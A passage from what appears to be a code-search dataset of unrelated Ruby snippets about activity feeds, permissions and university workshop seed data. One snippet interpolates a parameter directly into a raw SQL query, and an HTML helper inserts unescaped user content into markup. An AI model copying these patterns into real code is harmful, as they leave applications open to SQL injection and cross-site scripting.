\"friend_added\",\n :time => entry.at(\"updated\") ? entry.at(\"updated\").text : nil,\n :author => entry.at(\"author/name\") ? entry.at(\"author/name\").text : nil,\n :username => entry.at_xpath(\"yt:username\") ? entry.at_xpath(\"yt:username\").text : nil\n )\n when \"user_subscription_added\"\n parsed_activity = YouTubeIt::Model::Activity.new(\n :type => \"user_subscription_added\",\n :time => entry.at(\"updated\") ? entry.at(\"updated\").text : nil,\n :author => entry.at(\"author/name\") ? entry.at(\"author/name\").text : nil,\n :username => entry.at_xpath(\"yt:username\") ? entry.at_xpath(\"yt:username\").text : nil\n )\n else\n # Invalid activity type, just let it return nil\n end\n end\n\n return parsed_activity\n end", "def activity include_object_type=false, &block\n ASObj.generate :activity, !include_object_type, &block\n end", "def create_stream_proxy_item_with_attachment(type)\n item = ActivityStreamProxy.new\n item.updated = item.created = Time.now.to_i\n item.message = 'blah blah'\n item.attachment_type = type\n item.activity_type = 'post'\n item\n end", "def build_activities(id=nil)\n @doc.xpath('//xmlns:Activity', namespaces).map do |activity_node|\n # Assuming only 1 activity in a file for now. This will need to be fixed.\n @activities_obj = build_activity(activity_node)\n end\n end", "def append_to_activity_stream\n # the `return if activity_verb.blank?` guard is needed to block the\n # create! method when\n # creating shares, likes, unlikes, etc\n return if activity_verb.blank?\n\n CreateActivity.new(actor_id: author_id,\n activity_object_id: guid,\n target_id: activity_target_id,\n verb: activity_verb,\n object_ids:).call\n end", "def activity\n @root.xpath('TrackSummary').map do |act|\n Activity.new(act)\n end +\n @root.xpath('TrackDetail').map do |act|\n Activity.new(act)\n end\n end", "def activity\n @root.xpath('TrackSummary').map do |act|\n Activity.new(act)\n end +\n @root.xpath('TrackDetail').map do |act|\n Activity.new(act)\n end\n end", "def activity(id)\n child('activity', id)\n end", "def add_activity(activity, opts = {})\n # Build the \"to\" field\n activity[:to] ||= []\n cc_to = stream_activity_targets_for(activity, opts).map(&:stream_id)\n activity[:to] += cc_to\n # Send the activity to the target feed\n stream_activity_target(opts).add_activity(activity)\n end", "def activity\n @root.xpath('Events/Event').map do |act|\n Activity.new(act)\n end\n end", "def activities\n\t activity_feed.activities\n\tend", "def add_activities!(activities)\n activities.each do |activity|\n activity.slot.series.each do |time|\n activity.courts.each do |court|\n grid.fill(time, court.id, Table::Cell::Activity.new(activity,time))\n end\n end\n end\n end", "def initialize activity\n @activity = activity\n end", "def new_activity(activity)\n Models::Activity.new(:name => activity.name, :description => activity.description)\n end", "def activity_object_builder\n build_activity_object\n end", "def create_activity_factory_wrapper\n if recurrence\n create_activity_factory({\n # Fields copied straight from +Activity+ model\n name:name,\n description:description,\n vendor_id:vendor_id,\n vendor_name:vendor_name,\n bookings_available:bookings_available,\n price:price,\n start: start,\n # Fields inferred from +Activity+ model\n duration: (start && finish && finish - start)\n }.merge(recurrence) )\n return !activity_factory.new_record?\n end\n end", "def add_activity(activity)\n @activities.push activity\n end", "def activities\n add_to_query restrict_kind: 'activity'\n end", "def activity\n PublicActivity::Activity\n .includes(:owner, :trackable, post: [:author, :images, :graetzl, :comments], meeting: [:address, :graetzl, :comments])\n .select('DISTINCT ON(trackable_id, trackable_type) *')\n .where(key: STREAM_ACTIVITY_KEYS)\n .where(\"(owner_id IN (?) AND owner_type = 'User')\n OR\n (trackable_id IN (?) AND trackable_type = 'Meeting')\n OR\n (trackable_id IN (?) AND trackable_type = 'Post')\", users.pluck(:id), meetings.pluck(:id), posts.pluck(:id))\n .order(:trackable_id, :trackable_type, created_at: :desc)\n .sort_by(&:created_at).reverse\n end", "def build_activity_group group\n return {\n :time => group.max{ |a| a.created_at.to_i }.created_at,\n :type => group.first.trackable_type,\n :activities => group,\n :user_id => group.first.user.id,\n :profile_image => group.first.user.user_fb_data.profile_image,\n :class => group.first.trackable.class.name.downcase\n }\n end", "def activity_feed_for(activities_object, limited = false)\n activities = get_activities(activities_object)\n render :partial => 'activities/activity_feed', :locals => { :activities_object => activities_object, :activities => activities, :limited => limited }\n end", "def all_activities\n t = PublicActivity::Activity.arel_table\n PublicActivity::Activity.where(\n t[:trackable_id].eq(id).and(t[:trackable_type].eq(Classroom.to_s)).or(\n t[:recipient_id].eq(id).and(t[:recipient_type].eq(Classroom.to_s))\n )\n ).reverse_order\n end", "def activity_worker\n worker = AWS::Flow::ActivityWorker.new(@domain.client, @domain, ACTIVITY_TASKLIST)\n worker.add_implementation(SwfActivityOne.new)\n worker.add_implementation(SwfActivityTwo.new)\n worker.add_implementation(SwfActivityThree.new)\n worker\n end", "def add_activity(action, source)\n\n site = source.site\n source_type = source.respond_to?(:type) && !source.type.blank? ? source.type : source.class.name\n parent_id = source_type == 'BlogPost' ? source.parent_id : nil\n\n # If we have a matching activity within the same day for this source and\n # author, increase the count.\n query = Activity.where(:site_id => site.id).where(:author_id => source.updater.id)\n query = query.where(:action => action.to_s).where(:source_type => source_type)\n query = query.where(:source_id => source.id)\n query = query.where(['activities.created_at >= ? AND activities.created_at <= ?', Time.zone.now.beginning_of_day, Time.zone.now.end_of_day])\n query = query.first\n if query.blank?\n Activity.create!(:site => site, :parent_id => parent_id, :source_type => source_type, :source_id => source.id, :author => source.updater, :action => action.to_s)\n else\n query.parent_id = parent_id\n query.count = query.count + 1\n query.save!\n end\n\n end", "def enrich(activities, includes)\n enricher = StreamRails::Enrich.new(includes)\n if activities.first&.key?('activities')\n enricher.enrich_aggregated_activities(activities)\n else\n enricher.enrich_activities(activities)\n end\n end", "def build_post_activity\n Activity.new :channel => channel!,\n :relation_ids => Array(_relation_ids)\n end", "def feed\n len = activities.length\n if len < FEED_SIZE\n # Mix in some global activities for smaller feeds.\n global = Activity.global_feed[0...(Activity::GLOBAL_FEED_SIZE-len)]\n (activities + global).uniq.sort_by { |a| a.created_at }.reverse\n else\n activities\n end\n end", "def feed\n len = activities.length\n if len < FEED_SIZE\n # Mix in some global activities for smaller feeds.\n global = Activity.global_feed[0...(Activity::GLOBAL_FEED_SIZE-len)]\n (activities + global).uniq.sort_by { |a| a.created_at }.reverse\n else\n activities\n end\n end", "def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end", "def activity_feed_message(activity)\r\n user = activity.user\r\n case activity.item_type\r\n when \"Friendship\"\r\n friendship = activity.item\r\n %(#{user_link(user)} became friends with #{link_to friendship.friend.name, '/users/' + friendship.friend.id.to_s} <span class=\"activity_date\">#{friendship.updated_at.to_s(:event_list)}</span>) \r\n when \"Event\"\r\n event = activity.item\r\n %(#{user_link(user)} added a new event - #{link_to event.name, '/events/'+event.id.to_s} #{activity_date(event)})\r\n when \"User\"\r\n if user\r\n %(#{user_link(user)} joined. #{activity_date(user)})\r\n else\r\n %(A former user joined. #{activity_date(activity)}) \r\n end\r\n when \"Photo\"\r\n if activity.action == 'destroy'\r\n %(<span class=\"activity_text\"><span class=\"activity_user_link\">#{user_link(user)}</span> deleted a photo.</span>#{activity_date(activity)})\r\n else\r\n if activity.item\r\n photo = Photo.find(activity.item.id, :select=>\"id, user_id, filename, parent_id, created_at\")\r\n %(<span class=\"activity_text\"><span class=\"activity_user_link\">#{user_link(user)}</span> uploaded a photo - <a href=\"/photos/#{photo.id}\">#{image_tag(photo.public_filename(:small))}</a>.</span>#{activity_date(photo)})\r\n else\r\n # photo no longer exists, but still need to display upload event for history\r\n %(<span class=\"activity_text\"><span class=\"activity_user_link\">#{user_link(user)}</span> uploaded a photo.</span>#{activity_date(activity)})\r\n end\r\n end \r\n when \"Group\"\r\n group = activity.item\r\n if group\r\n %(A new group was created, #{link_to(group.name, group_url(group))} #{activity_date(group)})\r\n else\r\n %(A new group was created, group no longer exists)\r\n end\r\n when \"BlogPost\"\r\n blog_post = activity.item\r\n if blog_post\r\n %(#{user_link(user)} posted a new blog entry, <a href=\"/blog_posts/#{blog_post.id}\">#{blog_post.title}</a>. #{activity_date(blog_post)})\r\n else\r\n %(#{user_link(user)} posted a new blog entry.) \r\n end\r\n when \"Attendance\"\r\n if activity.item\r\n attendance = activity.item\r\n %(#{user_link(user)} is attending the event, #{link_to attendance.event.name, 'events/' + attendance.event.id.to_s}. #{activity_date(attendance)})\r\n else\r\n # attendance no longer exists, user has canceled\r\n %(#{image_tag(user.profile_photo.public_filename(:small))}#{user_link(user)} signed up for an event, but has since revoked that decision.)\r\n end\r\n when \"Membership\"\r\n membership = activity.item\r\n %(<span class=\"activity_text\"><span class=\"activity_user_link\">#{user_link(user)}</span> joined the group, <a href=\"/groups/#{membership.group.id}\">#{membership.group.name}</a>. </span>#{activity_date(membership)})\r\n when \"ForumPost\"\r\n forum_post = activity.item\r\n %(#{user_link(user)} posted a new message to the forum, <a href=\"/forum_posts/#{forum_post.id}\">#{forum_post.title}</a>. #{activity_date(forum_post)})\r\n when \"JobPost\"\r\n job_post = activity.item\r\n if job_post\r\n %(A new job was posted - #{link_to(job_post.job_title, job_posts_url)}. #{activity_date(job_post)})\r\n else\r\n # the job post has been deleted\r\n %(A new job was posted. #{activity_date(activity)})\r\n end\r\n when \"BookReview\"\r\n book_review = activity.item\r\n %(#{user.name} posted a new review for #{book_review.name}. #{activity_date(book_review)}) \r\n when \"StatusPost\"\r\n status_post = activity.item\r\n %(<span class=\"activity_text\"><span class=\"activity_user_link\">#{user_link(user)}</span> #{EngineyUtil.linkify(status_post.body)}</span>#{activity_date(status_post)})\r\n when \"Link\"\r\n link = activity.item\r\n if link\r\n %(#{user_link(user)} posted a new link #{link_to link.url, link.url} #{activity_date(link)})\r\n else\r\n # the link was deleted\r\n %(#{user_link(user)} posted a new link)\r\n end\r\n when \"Project\"\r\n project = activity.item\r\n if project\r\n %(#{user_link(user)} added a new project #{link_to project.name, project.url} #{activity_date(project)})\r\n else \r\n # the project was deleted\r\n %(#{user_link(user)} added a new project #{activity_date(activity)})\r\n end\r\n when \"Announcement\"\r\n announcement = activity.item\r\n if announcement\r\n %(#{user_link(user)} posted a new announcement, <b>#{announcement.title}</b> #{activity_date(announcement)})\r\n else\r\n %(#{user_link(user)} posted a new announcement #{activity_date(activity)})\r\n end\r\n when \"Classified\"\r\n classified = activity.item\r\n %(#{user_link(user)} posted a new classified, #{link_to classified.title, classified_url(classified)})\r\n else\r\n %(Invalid activity type - #{activity.item_type})\r\n end\r\n end", "def set_activity_and_group\n @activity = Activity.find(params[:id] || params[:activity_id])\n @group = @activity.group\n end", "def activity(params={})\n Endpoints::Activity.new(self).get(params)\n end", "def kind\n :activity\n end", "def add_activity(data)\n add_child('activity', data)\n end", "def activities\n @grouped_activities.flatten\n end", "def activity_stream(name = :default)\n ActivityStream::Stream.new(name, self, self.class.defined_streams[name])\n end", "def activity\n OStatus::Activity.new(self)\n end", "def activities\n Activity.\n includes(:activity_objects => self.class.to_s.underscore).\n where(\"#{ self.class.quoted_table_name }.id\" => self.id)\n end", "def update_activities!\n _, _, host, = URI.split url\n PublicActivity::Activity.where(trackable: self).update_all(\n parameters: {\n namespace_id: namespace.id,\n namespace_name: namespace.clean_name,\n webhook_url: url,\n webhook_host: host\n }\n )\n end", "def activity\n end", "def create_activity!(type, owner)\n create_activity(\n type,\n owner: owner,\n parameters: { application: application }\n )\n end", "def foreach_recent_activity\n CollectionWrapper.new(current_group.activities.desc(:created_at).page(params[:activity_page]).per(25), ActivityWrapper, view_context)\n end", "def activity_extensions\n \n activity_action = ''\n activity_not_owner_action = ''\n activity_data = ''\n activity_action_extension = ''\n activity_not_owner_action_extension = ''\n\n activity_action << context.call_hook(:activity_action, {:app => context}, activity)\n activity_not_owner_action << context.call_hook(:activity_not_owner_action, {:app => context}, activity)\n activity_data << context.call_hook(:activity, {:app => context}, activity)\n activity_action_extension << context.call_hook(:activity_action_extension, {:app => context}, activity)\n activity_not_owner_action_extension << context.call_hook(:activity_not_owner_action_extension, {:app => context}, activity)\n\n if String.method_defined?(:force_encoding)\n activity_action.force_encoding('utf-8')\n activity_not_owner_action.force_encoding('utf-8')\n activity_data.force_encoding('utf-8')\n activity_action_extension.force_encoding('utf-8')\n activity_not_owner_action_extension.force_encoding('utf-8') \n end\n\n complements = {}\n complements.store(:activity_action, activity_action)\n complements.store(:activity_not_owner_action, activity_not_owner_action)\n complements.store(:activity_data, activity_data)\n complements.store(:activity_action_extension, activity_action_extension)\n complements.store(:activity_not_owner_action_extension, activity_not_owner_action_extension)\n\n return complements\n\n end", "def apply_maps(activities, maps)\n return activities if maps.empty?\n activities.map do |act|\n if act['activities'] # Recurse into activity groups\n act['activities'] = apply_maps(act['activities'], maps)\n act\n else\n maps.reduce(act) { |acc, elem| elem.call(acc) }\n end\n end\n end", "def create_activity(activity)\n create_or_update(activity, nil,\n 'activity', 'activities')\n end", "def activities_setup\n @activities = Activity.all\n end", "def new_like(subject)\n a = Activity.new :verb => \"like\",\n :contact => subject.contact_to!(self),\n :relation_ids => Array(subject.relation_public.id)\n \n a.activity_objects << activity_object \n \n a \n end", "def activity_for(activity, options = {}, &block)\n block_to_partial('activity_templates/generic', options.merge(:activity => activity), &block)\n end", "def to_atom(options = {})\n Atom::Feed.new do |feed|\n feed.title = \"#{self.user.login}:#{self.name}\"\n feed.id = \"#{options[:base_uri]}/#{user.login}/tags/#{self.name}\"\n feed.updated = self.updated_on\n feed[CLASSIFIER_NAMESPACE, 'classified'] << self.last_classified_at.xmlschema if self.last_classified_at\n feed[CLASSIFIER_NAMESPACE, 'bias'] << self.bias.to_s\n feed.categories << Atom::Category.new(:term => self.name, :scheme => \"#{options[:base_uri]}/#{user.login}/tags/\")\n \n feed.links << Atom::Link.new(:rel => \"alternate\", :href => URI.escape(\"#{options[:base_uri]}/#{user.login}/tags/#{self.name}.atom\"))\n feed.links << Atom::Link.new(:rel => \"#{CLASSIFIER_NAMESPACE}/edit\", \n :href => URI.escape(\"#{options[:base_uri]}/#{user.login}/tags/#{self.name}/classifier_taggings.atom\"))\n \n conditions = []\n condition_values = []\n \n if options[:training_only]\n conditions << 'classifier_tagging = 0'\n feed.links << Atom::Link.new(:rel => \"self\", :href => URI.escape(\"#{options[:base_uri]}/#{user.login}/tags/#{self.name}/training.atom\"))\n else\n conditions << 'strength <> 0'\n feed.links << Atom::Link.new(:rel => \"self\", \n :href => URI.escape(\"#{options[:base_uri]}/#{user.login}/tags/#{self.name}.atom\"))\n feed.links << Atom::Link.new(:rel => \"#{CLASSIFIER_NAMESPACE}/training\", \n :href => URI.escape(\"#{options[:base_uri]}/#{user.login}/tags/#{self.name}/training.atom\")) \n end\n \n if options[:since]\n conditions << 'taggings.created_on > ?'\n condition_values << options[:since].getutc\n end\n \n self.taggings.find(:all, :conditions => [conditions.join(\" and \"), *condition_values], \n :limit => (options[:training_only] ? nil : (options[:limit] or 100)),\n :order => 'feed_items.updated DESC', :include => [{:feed_item, :content}]).each do |tagging|\n feed.entries << tagging.feed_item.to_atom(options.merge({:include_tags => self, :training_only => options[:training_only]}))\n end\n end\n end", "def activities\n children('activities')\n end", "def build_activity_set(activity_group, agb)\n scores = Models::Collection.new\n activities = Models::Collection.new\n activity_group.assessment_activity_profile.assessment_activities.each do |activity|\n activity_component = new_activity(activity)\n activities.push activity_component\n scores.push new_score(agb, activity, activity_component)\n end\n \n return Models::ActivitySet.new(\n :name => activity_group.display_name,\n :profile_name => activity_group.assessment_activity_profile.name ,\n :activities => activities,\n :scores => scores,\n :term_name => term_name(activity_group),\n :code =>activity_group.code\n )\n end", "def add_friends_with_activity\n return unless MuckFriends.configuration.enable_friend_activity\n content = I18n.t('muck.friends.friends_with', :inviter => self.inviter.full_name, :invited => self.invited.full_name)\n add_activity(self.inviter.feed_to + self.invited.feed_to, self.inviter, self, 'friends_with', '', content)\n end", "def create_valid_activity\n create_activity_with 'Some test activity'\n end", "def feed_icon(activity)\n img = case activity_type(activity)\n when \"StatusUpdate\"\n \"friend_guy.gif\"\n when \"BlogPost\"\n \"note.gif\"\n when \"Entry\"\n \"page_white_edit.png\"\n when \"Comment\"\n \"comment.png\"\n when \"WallComment\"\n parent_type = activity.item.commentable.class.to_s\n case parent_type\n when \"BlogPost\"\n \"comments.gif\"\n when \"Photo\"\n \"comments.gif\"\n when \"Event\"\n \"comments.gif\"\n when \"User\"\n \"wall_post.gif\"\n when \"Group\"\n \"wall_post.gif\"\n when \"NewsItem\"\n \"comments.gif\"\n end\n when \"Friendship\"\n if activity.item.friend.admin?\n \"affiliation.gif\"\n else\n \"friend.gif\"\n end\n when \"ForumPost\"\n \"note.png\"\n when \"Topic\"\n \"discussion.gif\"\n when \"User\"\n \"edit_profile.gif\"\n when \"Gallery\"\n \"gallery.png\"\n when \"Photo\"\n \"photo.gif\"\n when \"Event\"\n \"event.gif\"\n when \"EventAttendee\"\n \"fbpage_add.gif\"\n when \"Group\"\n if activity.owner.class.to_s == \"Group\"\n \"edit_profile.gif\"\n else\n \"group.gif\"\n end\n when \"Membership\"\n \"group.gif\"\n when \"NewsItem\"\n if activity.owner.class.to_s == \"User\"\n \"note.gif\"\n elsif activity.owner.class.to_s == \"Group\"\n \"marketplace.gif\"\n elsif activity.owner.class.to_s == \"Widget\"\n \"notifications.gif\"\n end\n else\n raise \"無法辨識活動類型 #{activity_type(activity).inspect}\"\n end\n image_tag(\"icons/#{img}\", :class => \"icon\")\n end", "def activities\n return @activities if @activities != nil && @activities.length > 0\n \n @activities = []\n self.board.cards.each do |card|\n card.actions.each do |action|\n member = Trello::Member.find(action.member_creator_id)\n action_record = {action: action, member: member}\n activity = (Parser.new(action_record, @prefix)).parse\n @activities.push(activity) unless activity == nil\n end\n end\n \n @activities\n end", "def init_activity(obj)\n if obj.nil?\n logger.error(\"Activity #{self.id}; called init_activity with nil\")\n else\n self.activity_name = obj.class.name\n self.activity_id = obj.id\n end\n end", "def case_activity\n self.case_activities.create(case_id: self.case_id,user_id: self.user_id,owner_id:self.owner_id)\n end", "def activities\n PointActivity.for_activity(obj, user)\n end", "def activity_complements\n\n context.render_entity_aspects(activity, :activity)\n\n end", "def get_wp_activity_posts(group_slug = 'agriculture-team')\n # wp_sfposts\n wp.query(<<-QUERY).to_a\n SELECT a.id post_id, a.content, u.display_name post_user, u.user_login, u.user_email, g.name, a.date_recorded, \n gu.user_email group_user_email, gu.display_name group_creator\n FROM wp_bp_activity a \n JOIN wp_users u ON u.id = a.user_id\n JOIN wp_bp_groups g ON g.id = a.item_id\n JOIN wp_users gu ON gu.id = g.creator_id\n WHERE a.component = 'groups' AND a.type = 'activity_update' AND g.slug = '#{group_slug}'\n ORDER BY a.date_recorded ASC\n QUERY\n end", "def initialize(subject)\n \n #Download alias action\n # Fix compatibility with Cancan 1.6.9\n # https://github.com/ging/social_stream/commit/cfd058e062fcd3bbcbc0b8bdbd11258a978f025a\n alias_action :download, :to => :read\n \n # Activity Objects\n (SocialStream.objects - [ :actor, :comment ]).map{ |obj|\n obj.to_s.classify.constantize\n }.each do |klass|\n can :create, klass do |k| # can :create, Post do |post|\n k.build_post_activity.allow?(subject, 'create')\n end\n\n can :read, klass do |k| # can :read, Post do |post|\n k.post_activity.allow?(subject, 'read')\n end\n\n can :update, klass do |k| # can :update, Post do |post|\n k.post_activity.allow?(subject, 'update')\n end\n\n can :destroy, klass do |k| # can :destroy, Post do |post|\n k.post_activity.allow?(subject, 'destroy')\n end\n end\n\n can :create, Comment do |c|\n c._activity_parent.allow?(subject, 'read')\n end\n\n can :read, Comment do |c|\n c.post_activity.allow?(subject, 'read')\n end\n\n can :update, Comment do |c|\n c.post_activity.allow?(subject, 'update')\n end\n\n can :destroy, Comment do |c|\n c.post_activity.allow?(subject, 'destroy')\n end\n\n # Activities\n can :create, Activity do |a|\n a.allow?(subject, 'create')\n end\n\n can :read, Activity do |a|\n a.allow?(subject, 'read')\n end\n\n can :update, Activity do |a|\n a.allow?(subject, 'update')\n end\n\n can :destroy, Activity do |a|\n a.allow?(subject, 'destroy')\n end\n\n # Users\n can :read, User\n\n can :update, User do |u|\n u.represented_by?(subject)\n end\n\n # Groups\n can :read, Group\n\n can :create, Group do |g|\n subject.present? &&\n g._contact.sender_id == Actor.normalize_id(subject)\n end\n\n can :update, Group do |g|\n g.represented_by?(subject)\n end\n\n can :destroy, Group do |g|\n g.represented_by?(subject)\n end\n\n can :read, Profile\n\n # Profile\n can :update, Profile do |p|\n p.subject.represented_by?(subject)\n end\n\n # Privacy\n can [:create, :read, :update, :destroy], Relation::Custom, :actor_id => subject.try(:actor_id)\n end", "def add_activity(text, user, type: :log)\n activity_obj = {\n text: text,\n type: type,\n timestamp: Time.now.to_s,\n user: {\n username: user.username,\n id: user.to_param.to_s\n }\n }\n\n self.activities[:items] ||= []\n self.activities[:items] << activity_obj\n self.save\n end", "def all_activities\n activities = []\n self.expenses.each do |expense|\n activities += [{:type => \"expense\", :object => expense}]\n end\n self.charges.each do |charge|\n activities += [{:type => \"charge\", :object => charge}]\n end\n activities.sort do |a, b|\n # TODO: what is this printing for?\n puts \"A\", a\n puts \"B\", b\n b[:object].created_at <=> a[:object].created_at\n end\n end", "def index\n @activities = PublicActivity::Activity.published\n\n if params[:recipient_type] and recipient_klass = params[:recipient_type].safe_constantize and r_id = params[:recipient_id] and @recipient = recipient_klass.find(r_id)\n @activities = @activities.on(@recipient)\n elsif current_user\n # This is user current feed !\n query_params = ['User', current_user.id]\n query = \"(activities.recipient_type = ? AND activities.recipient_id = ?)\"\n\n # Followed Pages\n if pages = current_user.followed_pages and pages.present?\n query += \" OR (activities.recipient_type = ? AND activities.recipient_id IN (?))\"\n query_params += [\"Page\"] + [pages.collect(&:id)]\n end\n\n @activities = @activities.where(query, *query_params)\n\n else\n head :bad_request # should not happen\n end\n\n @activities = @activities.order('updated_at DESC, created_at DESC').page(params[:page]).per(5)\n \n authorize @activities\n end", "def make_all_activities\n\n a2 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EAWORK1\", archived: false, in_drive: false, user_id: 5)\n at2 = ActivityTimetable.where(activity_id: a2.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a2.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a2.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a2.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a2.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a2.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a3 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 4)\n at3 = ActivityTimetable.where(activity_id: a3.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a3.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a3.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a3.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a3.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a3.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a4 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 2)\n at4 = ActivityTimetable.where(activity_id: a4.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a4.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a4.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a4.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a4.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a4.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a5 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 2)\n at5 = ActivityTimetable.where(activity_id: a5.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a5.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a5.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a5.id).first_or_create!(assess_weight: nil, notes: \"Assessed in MEC130\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a5.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a5.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a6 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER120\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 5)\n at6 = ActivityTimetable.where(activity_id: a6.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a6.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a6.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a6.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a6.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a6.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a7 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100b\").first_or_create!(name: \"Engineering Applications Workshop 2\",\n name_abrv: \"EAWORK2\", archived: false, in_drive: false, user_id: 3)\n at7 = ActivityTimetable.where(activity_id: a7.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, 